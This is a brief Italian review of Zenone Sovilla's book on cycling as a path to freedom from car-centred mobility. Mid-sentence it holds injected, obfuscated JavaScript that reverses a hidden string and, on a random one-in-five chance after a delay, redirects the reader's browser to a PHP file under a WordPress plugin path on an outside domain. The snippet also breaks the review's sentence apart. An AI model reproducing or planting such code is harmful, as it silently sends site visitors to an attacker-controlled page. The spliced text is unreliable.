IL LIBRO – Libertà a pedali

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‘Il traffico è la metafora bellica per eccellenza’: Zenone Sovilla parte da quest’affermazione per spiegare il suo bel saggio che reca come sottotitolo “Pedalare per la libertà”. Sovilla sostiene che la dittatura del mercato sta dett (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando le leggi anche in fatto di mobilità, occultando i costi sociali e ambientali provocati da un sistema di trasporti che non ammette alternative, pur continuando a provocare morte e distruzione.
Molto istruttivi i raffronti con le migliori esperienze di mobilità dolce nel Nord Europa e in altri paesi extra europei, con cui si dimostra come sia possibile riconquistare gli spazi pubblici sottratti dalla privatizzazione della mobilità. Insomma, la bicicletta come strumento di liberazione e di riconquista di una dimensione sociale e comunitaria.
Merita attenzione anche il sito www.bicicrazia.it. (l.g.)

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